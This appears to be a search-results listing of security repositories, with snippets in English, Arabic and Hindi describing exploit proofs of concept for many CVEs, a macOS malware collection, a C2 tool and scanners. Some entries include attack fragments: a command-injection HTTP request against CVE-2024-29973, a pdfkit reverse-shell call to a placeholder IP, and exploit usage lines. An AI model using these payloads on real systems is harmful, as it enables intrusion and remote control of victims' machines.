186784 matches found
nuclei-wordfence-cve
Nuclei + Wordfence = ♥ 85,025 Nuclei Templates for WordPress Security Scanning 🥳 Level up your WordPress security game! This project's got a treasure trove of fresh Nuclei templates for WordPress. Scan for weaknesses in Core, plugins, and themes – all based on the latest intel from Wordfence.com...
socid-extractor
socidextractor Turn any public profile page into a structured account record — usernames, display names, bios, avatars, locations, joined-at dates, follower counts, external links, and the stable internal identifiers that uniquely pin an account across renames, redesigns, and deletions...
dlink
حقن الأوامر وحساب باب خلفي في أجهزة D-Link NAS ملخص الثغرة: تصف الثغرة المذكورة أجهزة D-Link NAS متعددة، بما في ذلك الموديلات DNS-340L وDNS-320L وDNS-327L وDNS-325، وغيرها. تكمن الثغرة داخل URI الخاص بـ nassharing.cgi ، والذي يُعد عرضة للاختراق بسبب مشكلتين رئيسيتين: باب خلفي تسهّله بيانات اعتماد...
Malware
मैलवेयर macOS मैलवेयर संग्रह ⚠️ इस पेज में लाइव मैलवेयर के लिंक हैं! इस साइट से मैलवेयर डाउनलोड करके, आप गलत संचालन या स्व-संक्रमण से उत्पन्न होने वाले किसी भी नुकसान का दावा करने के सभी अधिकारों का त्याग करते हैं। 📡 नमूनों को चलाने से, हमला नियंत्रित बुनियादी ढांचे जैसे कमांड एंड कंट्रोल सर्वर से...
RatRace
RatRace वेब अनुप्रयोगों, API और आधुनिक सेवाओं में रेस कंडीशन का पता लगाने और उनका शोषण करने के लिए एक हल्का CLI टूल। यह किस समस्या का समाधान करता है रेस कंडीशन आधुनिक अनुप्रयोगों में सबसे अधिक प्रभाव वाली सुरक्षा कमजोरियों में से एक हैं, फिर भी स्वचालित स्कैनर इन्हें कम ही पकड़ पाते हैं। जहाँ...
CVE-2019-19383
CVE-2019-19383 FreeFTPd 1.0.8 पोस्ट-प्रमाणीकरण बफर ओवरफ्लो 'SIZE' कमांड के माध्यम से। यह एक्सप्लॉइट सार्वजनिक हित में सुरक्षा जागरूकता बढ़ाने और शैक्षिक उद्देश्यों के लिए जैसा है वैसा ही प्रकाशित किया गया है। इस कोड का उपयोग आपराधिक गतिविधि के लिए न करें।...
fence
Fence कमांड को एक सैंडबॉक्स में लपेटता है जो डिफ़ॉल्ट रूप से नेटवर्क एक्सेस को ब्लॉक करता है और कॉन्फ़िगरेबल नियमों के आधार पर फ़ाइलसिस्टम संचालन को प्रतिबंधित करता है। यह नियंत्रित साइड इफेक्ट्स के साथ अर्ध-विश्वसनीय कोड पैकेज इंस्टॉल, बिल्ड स्क्रिप्ट, CI जॉब्स, अपरिचित रिपॉजिटरी को चलाने के लिए...
CVE-2019-19268
CVE-2019-19268 प्रभावित संस्करण: rConfig 3.9.2 विवरण rConfig v3.9.2 में गलत कॉन्फ़िगरेशन के कारण कई हमले वेक्टर हैं, जो स्थानीय उपयोगकर्ताओं को sudo के माध्यम से रूट कमांड निष्पादित करने की अनुमति देते हैं। खोजकर्ता dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 ईमेल:...
CVE-2024-7399-POC
CVE-2024-7399 CVE-2024-7399 के लिए शोषण। अधिक विवरण यहाँ पाए जा सकते हैं: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. उपयोग: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py...
CVE-2024-29973
CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...
CVE-2025-27590
CVE-2025-27590 - استغلال PoC حقن أوامر عبر رفع نموذج متعدد الأجزاء 📌 الوصف هذا استغلال لإثبات المفهوم PoC لـ CVE-2025-27590 ، وهي ثغرة حقن أوامر تؤثر على تطبيقات الويب التي تعالج رفع الملفات متعددة الأجزاء multipart دون تنقية مناسبة. تسمح الثغرة للمهاجمين عن بُعد بتنفيذ أوامر شل عشوائية عبر صياغة...
CVE-2022-36804-PoC-Exploit
CVE-2022-36804-PoC-Exploit CVE-2022-36804 के लिए एक कुछ हद तक विश्वसनीय PoC शोषण BitBucket क्रिटिकल कमांड इंजेक्शन। यह हमला आमतौर पर सार्वजनिक रेपो को सक्षम करने की आवश्यकता होती है, हालांकि सत्र कुकीज़ भी इस शोषण के साथ संगत हैं। नोट: इस शोषण में स्वचालित रेपो पहचान शामिल है जो उपयोगी है यदि आप...
CVE-2021-38163
CVE-2021-38163 CVE-2021-38163 - ثغرة لـ SAP Netveawer إصدارات SAP NetWeaver Visual Composer 7.0 RT - 7.30، 7.31، 7.40، 7.50، بدون تقييد، يمكن لمهاجم مصادق كمستخدم غير إداري رفع ملف ضار عبر الشبكة وتشغيل معالجته، وهو قادر على تشغيل أوامر نظام التشغيل بامتيازات عملية خادم Java. يمكن استخدام هذه...
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell
CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL के माध्यम से बोल्ड मानों को संशोधित करें: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...
CVE-2025-9074-Docker-Exploit
CVE-2025-9074 أداة تنفيذ أوامر حاويات Docker أداة قوية لاستغلال ثغرات Docker Remote API، مصممة للبحث والاختبار الأمني لثغرة CVE-2025-9074. المزايا الأساسية ✅ إدارة دورة حياة الحاويات تلقائيًا بالكامل : إنشاء حاويات مؤقتة تلقائيًا، وتنظيفها تلقائيًا بعد اكتمال العملية دون ترك أي أثر ✅ معالجة ذكية...
WMImplant
WMImplant WMImplant هي أداة تعتمد على PowerShell تستفيد من WMI لأداء إجراءات ضد الأجهزة المستهدفة، وأيضًا كقناة C2 لإصدار الأوامر وتلقي النتائج. من المحتمل أن تتطلب WMImplant صلاحيات المسؤول المحلي على الجهاز المستهدف. تم التطوير بواسطة @christruncer وظائف WMImplant: وظائف Meta changeuser - تغيير...
cve-2018-1002105
यह https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/ से संशोधित किया गया था। सभी श्रेय Gravitational के दयालु लोगों को जाता है। मूल PoC कोड को भेद्यता की जाँच से आगे बढ़कर पहले नेमस्पेस के पहले कंटेनर के अंदर एक कमांड चलाने के लिए संशोधित किया गया था। इस मामले मे...
loader-CVE-2020-14343
loader-CVE-2020-14343 تطبيق ويب عرضة لثغرة إلغاء التسلسل غير الآمن CVE-2020-14343 والتي تؤدي إلى تنفيذ أوامر في حزمة PyYAML. الشرح: https://github.com/TebbaaX/CTFs/blob/main/HackerNewsBdarija-CTF-2022/loadder/Loader.md...
CVE-2021-3129
تنفيذ الأوامر عن بعد: Laravel CVE-2021-3129 📜 الوصف تم تصميم هذا السكريبت لاستغلال ثغرة تنفيذ الأوامر عن بعد RCE التي تم تحديدها في عدة إصدارات من Laravel، والمعروفة باسم CVE-2021-3129. من خلال استغلال هذه الثغرة، يسمح السكريبت للمستخدمين بكتابة وتنفيذ الأوامر على موقع مستهدف يعمل بنسخة ضعيفة من...